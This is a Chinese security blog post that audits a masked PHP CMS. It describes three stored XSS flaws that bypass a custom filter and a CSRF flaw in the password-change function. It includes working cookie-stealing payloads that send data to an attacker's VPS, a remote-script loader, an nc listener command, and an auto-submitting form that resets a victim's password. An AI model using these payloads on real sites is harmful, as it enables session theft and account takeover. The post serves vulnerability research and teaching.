某cms的一次审计

网站目录

├── addons(这个是个空目录)
├── admin.php(后台入口)
├── app(审计重点)
├── extend(该cms的一些插件)
├── favicon.ico(网站图标)
├── index.php(前台入口)
├── install(安装cms目录)
├── public(公共方法目录)
├── runtime(临时文件)
├── thinkphp
└── uploads(上传保存文件的目录)

前台存储型xss

第一处

/app/api/controller/Api.php中的commentAdd()函数大约32行左右

 ...... $data['fid'] = $id; $data['time'] = time(); $data['model'] = input('model'); $data['uid'] = session('userid'); $data['content'] = xss(input('content')); if (empty(input('content'))) { $this->error('内容不能为空');
}
......

虽然这里经过了xss()函数的过滤,但是可以绕过,xss()过滤函数如下

function xss($html) {    $html = htmlspecialchars_decode($html);
   preg_match_all("/\<([^\<]+)\>/is", $html, $ms);

   print_r($ms);    $searchs[] = '<';    $replaces[] = '&lt;';    $searchs[] = '>';    $replaces[] = '&gt;';    if ($ms[1]) {        $allowtags = 'iframe|video|attach|img|a|font|div|table|tbody|caption|tr|td|th|br|p|b|strong|i|u|em|span|ol|ul|li|blockquote|strike|pre|code|embed';        $ms[1] = array_unique($ms[1]);        foreach ($ms[1] as $value) {            $searchs[] = "&lt;" . $value . "&gt;";            $value = str_replace('&amp;', '_uch_tmp_str_', $value);            // $value = string_htmlspecialchars($value);
           $value = str_replace('_uch_tmp_str_', '&amp;', $value);            $value = str_replace(array('\', '/*'), array('.', '/.'), $value);            $skipkeys = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload', 'javascript', 'script', 'eval', 'behaviour', 'expression');            $skipstr = implode('|', $skipkeys);            $value = preg_replace(array("/({$skipstr})/i"), '.', $value);            if (!preg_match("/^[\/|\s]?({$allowtags})(\s+|$)/is", $value)) {                $value = '';
           }            $replaces[] = empty($value) ? '' : "<" . str_replace('&quot;', '"', $value) . ">";
       }
   }    $html = str_replace($searchs, $replaces, $html);
   print_r($html);    $html = htmlspecialchars($html);    return $html;
}

虽然这里过滤了之后,是经过了htmlspecialchars函数的,但是在/runtime/temp/f72adb513ce3ceecbaff74c77a58cdcf.php中的大约第182行,会将过滤的结果进行htmlspecialchars_decode,所以就会存在xss。如果文件无法找到,我是用phpstorm审计的,可以使用全局搜索command+shift+o进行搜索,关键字是立即评论

 ......
......
......<div class="li-content" style="background-color: #f6f6f6; border-radius: 10px; padding: 10px;"><?php echo htmlspecialchars_decode($vo['content']); ?></div>
......
......
......

所以我们在任意一篇文章下面评论即可,比如我们在http://www.***cms.net/s_html_67.html评论

Payload:

<div onwheel="setTimeout(function(){window.open('你的vps-ip:10007?'+document.cookie)}, 2000);">这个例子演示了如何将</div>

然后在你的vps上执行命令n c -lvp 10007就可以得到cookie,这里可以得到任意人的cookie,只要他在我们的评论这里鼠标轮滚即可,我们可以用很长很长的文章,这样的话增加轮滚到的可能性

第二处

/app/api/controller/Api.php中的homeset函数

/*基本设置资料修改*/
   public function homeset()
   {        if (!session('userid') || !session('username')) {            $this->error('亲!请登录');
       } else {            $member = new MemberModel();            $uid = session('userid');            if (request()->isPost()) {
               h('phpapihomeset');                $data = $this->request->post();                $data['userid'] = $uid;                $_data['username'] = xss($data['username']);                if (is_numeric($_data['username']) || is_numeric(substr($_data['username'], 0, 1)) || mb_strwidth($_data['username']) < 4) {                    return json(array('code' => 0, 'msg' => '不能是纯数字或数字开头,一个汉字算2个字符'));
               }                $_data['userhome'] = xss($data['userhome']);                $_data['description'] = xss($data['description']);                $_data['sex'] = $data['sex'];                $_data['userhead'] = $data['userhead'];                $_data['userqq'] = $data['userqq'];                $_data['url'] = xss($data['url']);                if (cms('homemail') == 1) {                    $_data['usermail'] = $data['usermail'];
               }                if ($member->save($_data, ['userid' => $uid])) {                    return json(array('code' => 200, 'msg' => '修改成功'));
               } else {                    return json(array('code' => 0, 'msg' => '修改失败'));
               }
           }            $uid = session('userid');            $this->assign('uid', $uid);
       }
   }

第20行和第22行存在xss漏洞

我们先看第20行,$_data['userhead'] = $data['userhead'];,这里是个头像上传的地方,对应的模版内容为

/app/template/pc/default/index_uid.html大约第42行

......
......
......<article class="content-true" style="margin-top: 0px;">
 <div class="imgbg">
   <div class="txbg" style="background-image:url({$c['userhead']});"></div>
   <div class="hßsbg"></div>
   <div class="container layui-clear">
     <div class="left">
       <img src="{$c['userhead']}"class="person-icon">......
......
......

这里userhead的内容没有进行任何的过滤,而且是嵌入在src属性里面的

payload:

x" onerror=s=createElement('script');body.appendChild(s);s.src='http://你的vps-ip/4.js';<!--

4.js的内容如下

var image=new Image();
image.src="http://你的vps-ip:10006/cookies.phpcookie="+document.cookie;

然后我们访问该用户的个人主页http://www.***cms.net/uid_6.html,就可以得到cookie了

第三处

上文中的/app/api/controller/Api.php中的homeset函数第22行

$_data['url'] = xss($data['url']);存在xss漏洞

这里虽然有xss函数过滤,但其实等于没有过滤,因为这里xss函数是过滤标签里面的东西,我只要传入的不是标签,就不存在过滤

function xss($html) {    $html = htmlspecialchars_decode($html);
   preg_match_all("/\<([^\<]+)\>/is", $html, $ms);    $searchs[] = '<';    $replaces[] = '&lt;';    $searchs[] = '>';    $replaces[] = '&gt;';    if ($ms[1]) {        $allowtags = 'iframe|video|attach|img|a|font|div|table|tbody|caption|tr|td|th|br|p|b|strong|i|u|em|span|ol|ul|li|blockquote|strike|pre|code|embed';        $ms[1] = array_unique($ms[1]);        foreach ($ms[1] as $value) {            $searchs[] = "&lt;" . $value . "&gt;";            $value = str_replace('&amp;', '_uch_tmp_str_', $value);            // $value = string_htmlspecialchars($value);
           $value = str_replace('_uch_tmp_str_', '&amp;', $value);            $value = str_replace(array('\', '/*'), array('.', '/.'), $value);            $skipkeys = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload', 'javascript', 'script', 'eval', 'behaviour', 'expression');            $skipstr = implode('|', $skipkeys);            $value = preg_replace(array("/({$skipstr})/i"), '.', $value);            if (!preg_match("/^[\/|\s]?({$allowtags})(\s+|$)/is", $value)) {                $value = '';
           }            $replaces[] = empty($value) ? '' : "<" . str_replace('&quot;', '"', $value) . ">";
       }
   }    $html = str_replace($searchs, $replaces, $html);    $html = htmlspecialchars($html);    return $html;
}

而且这里对应的模版是/app/template/pc/default/index_uid.html

......
......
......<div class="right"><a href="http://wpa.qq.com/msgrd?v=3&uin={$c['userqq']}&site=qq&menu=yes" class="addqa" target="_blank"><i class="iconfont icon-QQ"></i>联系Ta</a><a href="{$c['url']}" class="addqun" target="_blank">访问我的链接</a></div>......
......
......

刚好在a标签的href中

payload:

javascript:window.location.href='http://你的vps-ip:10007?'+document.cookie

然后访问http://www.***cms.net/uid_6.html,点击访问我的链接,即可触发xss

CSRF改密码

/app/api/controller/Api.php中的homepass函数

/*修改密码*/
   public function homepass()
   {        if (!session('userid') || !session('username')) {            $this->error('亲!请登录');
       } else {
           h('phpapihomepass');            $member = new MemberModel();            $uid = session('userid');            $key = 'www.***cms.com';            if (request()->isPost()) {                $data = $this->request->post();                $password = input('password');                if (input('password') == input('passwords')) {                    $datam['password'] = jiami($password, 'ENCODE', $key, 0);                    if ($member->save($datam, ['userid' => $uid])) {                        return json(array('code' => 200, 'msg' => '修改成功'));
                   } else {                        return json(array('code' => 0, 'msg' => '修改失败'));
                   }
               } else {                    return json(array('code' => 0, 'msg' => '两次输入的密码不一致'));
               }
           }
       }
   }

这里并没有设置token,导致攻击者可以利用受害者的cookie去进行修改密码(受害者只需点击链接即可)

poc:

csrf.html

<html><body><form style="display:none;" name="px" method="post" action="http://www.***cms.net/api_api_homepass.html">

     <input type="hidden" name="password" value="123456" />
     <input type="hidden" name="passwords" value="123456" />
     <input type="submit" value="Submit request" />

</form><script>document.px.submit();</script></body></html>

当受害者在登录状态下,并且访问了csrf.html之后,就会被修改密码

这里其实可以打xss+csrf组合拳,这样的话,可以让危害更大,xss直接修改别人的密码,它不香吗~

总结

刚入坑审计,这是审计的第2个cms,目前就是靠黑盒测试去找功能点,然后全局搜索关机字,比如url中的关键字,网页返回包的关键字来找到代码的controller部分,然后对函数进行回溯,看是否可以绕过之类的。对于新手审计,我觉得还是要仔细通读代码,累积经验,尽量少使用工具去扫,耐心、仔细的去读完一个cms,就会有许多收获。文章中有不足和错误的地方还望师傅们指正。


本文作者:星盟安全团队

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/133746.html

Tags:
评论  (0)
快来写下你的想法吧!

星盟安全团队

文章数:25 积分: 75

星盟安全团队---"VENI VIDI VICI"(我来,我见,我征服),我们的征途是星辰大海。从事各类安全研究,专注于知识分享。

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号